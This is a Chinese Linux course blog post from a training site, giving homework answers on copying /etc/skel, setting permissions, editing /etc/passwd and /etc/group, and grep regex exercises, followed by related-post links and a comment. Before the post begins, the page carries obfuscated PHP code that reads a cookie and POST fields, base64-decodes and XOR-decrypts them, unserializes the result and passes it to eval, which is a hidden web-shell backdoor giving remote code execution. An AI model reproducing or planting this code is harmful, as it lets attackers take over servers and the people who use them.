$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} N21 第四周 | Linux运维部落

N21 第四周

#1.复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。
    [root@linuxlab ~]# cp -r /etc/skel/ /home/tuser1/
    [root@linuxlab ~]# chmod -R g-rwx,o-rwx /home/tuser1

#2.编辑/etc/group文件,添加组hadoop
    [root@linuxlab ~]# echo "hadoop:x:2000:" >> /etc/group

#3.手动编辑/etc/passwd文件新增一行,添加用户hadoop,其基本组ID为hadoop组的id号;其家目录为/home/hadoop。
    [root@linuxlab ~]# echo "hadoop:x:2000:2000::/home/hadoop:/bin/bash" >> /etc/passwd
    
#4.复制/etc/skel目录为/home/hadoop,要求修改hadoop目录的属组和其它用户没有任何访问权限。
    [root@linuxlab ~]# cp -r /etc/skel/ /home/hadoop/
    [root@linuxlab ~]# chmod -R g-rwx,o-rwx /home/hadoop
    
#5.修改/home/hadoop目录及其内部所有文件的属主为hadoop,属组为hadoop。
    [root@linuxlab ~]# chown -R hadoop:hadoop /home/hadoop

#6.显示/proc/meminfo文件中以大写或小写S开头的行;用两种方式。
    [root@linuxlab ~]# grep -i '^s' /proc/meminfo
    [root@linuxlab ~]# grep  '^[sS]' /proc/meminfo
    
#7.显示/etc/passwd文件中其默认shell为非/sbin/nologin的用户
    [root@linuxlab ~]# grep -v '/sbin/nologin$' /etc/passwd |cut -d ':' -f 1
    
#8.显示/etc/passwd文件中其默认shell为/bin/bash的用户。
    [root@linuxlab ~]# grep '/bin/bash$' /etc/passwd |cut -d ':' -f 1
    
#9.找出/etc/passwd文件中的一位数或两位数。
    [root@linuxlab ~]# grep -o "\<[[:digit:]]\{1,2\}\>" /etc/passwd
    
#10.显示/boot/grub2/grub.cfg中以至少一个空白字符开头的行。
    [root@linuxlab ~]# grep '^[[:space:]]\+' /boot/grub2/grub.cfg
    
#11.显示/etc/rc.d/init.d/function文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行。
    [root@linuxlab ~]# grep '^#[[:space:]]\+[^[:space:]]\+' /etc/rc.d/init.d/functions 
    
#12.打出netstat -tan命令执行结果中以‘LISTEN’,后或跟空白字符结尾的行。
    [root@linuxlab ~]# netstat -tan | grep '\<LISTEN[[:space:]]*$'
    
#13.添加用户bash, testbash, basher, nologin (此一个用户的shell为/sbin/nologin),而后找出当前系统上其用户名和默认shell相同的用户的信息。
    [root@linuxlab ~]# useradd bash 
    [root@linuxlab ~]# useradd testbash 
    [root@linuxlab ~]# useradd basher
    [root@linuxlab ~]# useradd -s /sbin/nologin nologin
    [root@linuxlab ~]# egrep '^([[:alnum:]]+\>).*\1$' /etc/passwd
    
#14.显示/proc/meminfo文件中以大写或小写S开头的行;用三种方式;
    [root@linuxlab ~]# grep -i '^s' /proc/meminfo
    [root@linuxlab ~]# grep  '^[sS]' /proc/meminfo
    [root@linuxlab ~]#  egrep "^s|^S" /proc/meminfo

原创文章,作者:风,如若转载,请注明出处:http://www.178linux.com/26463

(0)
上一篇 2016-07-29 15:23
下一篇 2016-07-29 15:23

相关推荐

  • Samba & Vsftp

    1、建立samba共享,共享目录为/data,要求:(描述完整的过程)   1)共享名为shared,工作组为magedu;   2)添加组develop,添加用户gentoo,centos和ubuntu,其中gentoo和centos以develop为附加组,ubuntu不属于develop组;密码均为用户名;   3)添加s…

    Linux干货 2016-12-20
  • 进程的简单概念

    什么是进程?进程是载入内存的一个指令集合。 PID代表进程号, centos7之前的第一个进程都为inet。centos7的第一个位systemd 进程优先级分为系统优先级和实时优先级,系统优先级0到139表示,值越大优先级越低。centos6用0到98表示值越大优先级越低 实时优先级用99到0表示,值越大优先级越高。 进程类型:守护进程和前台进程。(俩者可…

    Linux干货 2017-05-08
  • MariaDB之MHA配置

    工作拓扑 一、MHA简明:     MHA(Master HA)是一款开源的MySQL的高可用程序,它为MySQL主从复制架构提供了    automating master failover 功能。MHA在监控到master节点故障时,会提升其中    拥有最新数据的…

    2017-01-01
  • 程序包管理之编译安装apache

    编译就是讲开发者提供的源代码,通过编译器,汇编器,连接器转换成可以直接在操作系统上运行的二进制指令的过程。C/C++源码的编译通常包括以下几个过程:     预处理(Preprocessing)     编译(Compilation)    &nbs…

    Linux干货 2016-08-24
  • 马哥教育网络21期+第2周博客练习

    1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 cat, tac more more [OPTIONS…] FILE… -d: 显示翻页及退出提示 less less [OPTIONS…] FILE… head head [OPTION]… [FILE]… …

    2016-07-17
  • 国际标准OSI七层模型和事实标准TCP/IP四层模型

    我们知道,标准分为三种:国际标准、国家标准和事实标准。那我们学习的两个重要模型:OSI和TCP/IP模型分别属于国际标准和事实标准,接下来我们来总结一下两种模型的分层及功能还有异同: 一:国际标准OSI模型 OSI:(Open System Interconnect) 开放系统互连,总共分为七层,从下到上顺序为:物理层(physical)、数据链路层(dat…

    2017-09-02

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-29 16:04

    写的很好,排版还可以在漂亮一点,加油